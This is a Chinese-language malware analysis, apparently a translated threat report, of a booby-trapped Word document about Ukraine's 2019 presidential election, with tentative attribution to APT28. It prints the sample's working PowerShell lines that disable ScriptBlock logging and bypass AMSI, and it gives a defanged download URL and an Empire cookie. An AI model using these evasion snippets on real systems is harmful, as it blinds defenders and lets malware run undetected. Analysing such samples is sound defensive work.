Change 嘶吼专业版
简述
3月中旬,一份有关乌克兰总统大选的可疑Office文件在野外出现。这份文件讲述了乌克兰大选民调的情况,以及对领跑候选人Volodymyr Zelenskiy的人生经历做了介绍,此外,该文件还用到了一个引人注目的标题,指出了乌克兰和俄罗斯之间的冲突问题。调查后发现,这篇文章实际上是直接复制了Daily Express于今年2月份发表的一篇文章。
图1.恶意文档示意
文档的主题以及检测到的时间点都引起了我们的注意,因此我们决定进一步挖掘,以评估这个恶意文档的性质。
技术分析
图2:查看和修改文档上的宏所需的密码
恶意文档的第一个特性是受保护的宏,当用户试图读取它时,会立即显示一个要求输入密码的消息框。使用传统的恶意软件分析工具可以轻松绕过此Office密码保护机制,在提取代码之后,可以按如下方式分析纯文本代码。
图3:文档宏的源代码
乍一看,代码没有被混淆的痕迹,但是可以在宏中发现异常的函数调用:ActiveDocument.BuiltInDocumentProperties.Item(“Company”)。此方法能恢复属于文档元数据的属性。在特定情况下,代码会试图读取“Company”属性中包含的值,一个base64编码的字符串。
图4:存储在文档元数据的“Company”标签中的payload
这种通过在文档属性部分中隐藏恶意payload的做法是Emotet银行恶意软件的惯用手段,Emotet是对全世界组织机构最具侵略性的恶意软件威胁之一。与初始代码不同,解码后的payload是高度混淆的Powershell命令。
图5:从base64到ascii转换后的powershell代码
经过几个去混淆阶段后的代码如下:
图6:去混淆后的powershell代码
这个脚本非常有趣,因为它的第一个动作就是减少自身存在痕迹,此步动作是通过禁用Powershell脚本块日志记录和反软件扫描接口(anti - alware Scan Interface, AMSI)来实现的。
ScriptBlock的日志记录功能是在Powershell v5中引入的,它能够在Powershell引擎执行代码块时对代码块进行日志记录,包括混淆的代码段和相应的去混淆代码段。而AMSI是一种通用的接口标准,它允许应用程序和服务与安装在机器上的任何反恶意软件产品集成,并在代码执行之前评估代码。关于AMSI的更多细节已经在以前的分析报告中描述过。
因此,此恶意软件会检查当前的Powershell版本,如果版本是3或在3之上,则会禁用上述安全功能。对上述两项功能的绕过是使用几行代码实现的,比如可以通过以下指令禁用ScriptBlock日志记录:
1. $settings = [Ref].Assembly.GetType(“System.Management.Automation.Utils”).GetField(“cachedGroupPolicySettings”,”NonPublic,Static”).GetValue($null);
2. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”] = @{}
3. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”].Add(“EnableScriptBlockLogging”, “0”)
而绕过AMSI的代码则更简单:
1. [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)<br>
该指令能够修改“amsiInitFailed”变量的值,将其设置为“true”。这样,当“ScanContent”方法使用此变量来确定AMSI是否应该扫描要执行的命令时,它会返回值amsi_result_not_detection,并让payload运行。从手法上看,恶意软件背后的创作者似乎参考了这篇文章(https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)中对AMSI和BlockLogging禁用技术的研究。
在偷偷设置好InternetExplorer 11 的用户代理之后,payload会尝试从“hxxps://functiondiscovery[.]net:8443/admin/get”处下载下一个感染阶段所需文件。此代码还包含了Powershell Empire特征指示器:cookie“session = J + kcj5bWE11g4zBLrjvZjNO296I =”。
图7:恶意软件设置的用户代理
C2最后定位为捷克*。该IP在2018年10月首次出现,并一直活跃到2019年4月。
图8:关于DropURL/C2的信息
归因
与C2服务器连接的脚本部分是使用当前流行的后开发工具Empire创建的,还有一些使用Empire生成的脚本作为后期开发模块的Sofacy样本已有许多安全组织机构对其做过分析。
2018年9月至12月,APT28(又名Fancy Bear、Pawn Storm、SofacyGroup、Sednit和STRONTIUM)对欧洲的*机构发动了数次***。
APT28小组至少自2007年以来一直活跃,目标是世界各地的*、军队和安全组织。该组织还参与了2016年总统大选的一系列袭击行动。
据Symantec去年10月发布的一份报告显示,该组织正在欧洲和南美积极开展针对*和军事组织的网络间谍活动。
此外,根据FireEye对对俄罗斯相关的APT组织的分析,APT28正越来越依赖于公共代码库,如Carberp、PowerShell Empire、P.A.S. webshell、Metasploit模块等,不光会加快他们的开发周期,而且能方便他们推脱责任。此外,恶意文件的内容和发现的时间点都可能表明,此次行动背后或许有*支持。
不过,我们在对此样本的功能做归因分析时也产生了一些疑惑。如前所述,用户可以很直观地看到文档的内容,那么为什么要启用宏呢?此外,宏代码是完全可读的,没有使用加密或混淆来逃避检测。唯一的宏保护机制是锁定dev项目,但是使用常见的恶意软件分析工具就能轻易地绕过它。所有这些,都不是典型的APT28 dropper的特征,照理说应该是经过重重混淆才对。SecurityArtWork团队认为该样本是属于Sofacy组的,因为它与Vitali Kremez之前研究过的较早的样本(8cccdce85beca7b7dc805a7f048fcd1bc8f7614dd7e13c2986a9fa5dfbbdf9)之间存在相似性——宏代码中使用的函数名,以及使用WMI连接器启动新的恶意进程之间的相似性。
然而,分析这两个文档时,即使某些函数的名称相等,宏也不会显示相同的结构。在下列右图中对应的是Vitali Kremez分析的样本,代码经过重度混淆:它包含了“$”字符,用来逃避AV检测,以及一个用于执行解码的自定义base64例程。
图9:宏比较:新样本(左)与旧样本(右)
调用WMI的宏部分有一个技巧,用于绕过Microsoft ASR,并能从Office应用程序启动一个新进程。由于类似的代码片段在Github上是公开的,所以这个技巧和使用的代码与俄罗斯组织没有直接关系。因此,文档之间宏代码的相似性很大程度上取决于对开源代码重复使用。
结论
我们并不能完全确定此项行动与APT28有关,不过我们正在调查与Sofacy小组有关的近期其他样本,以便更好的探索他们对政治选举可能带来的影响。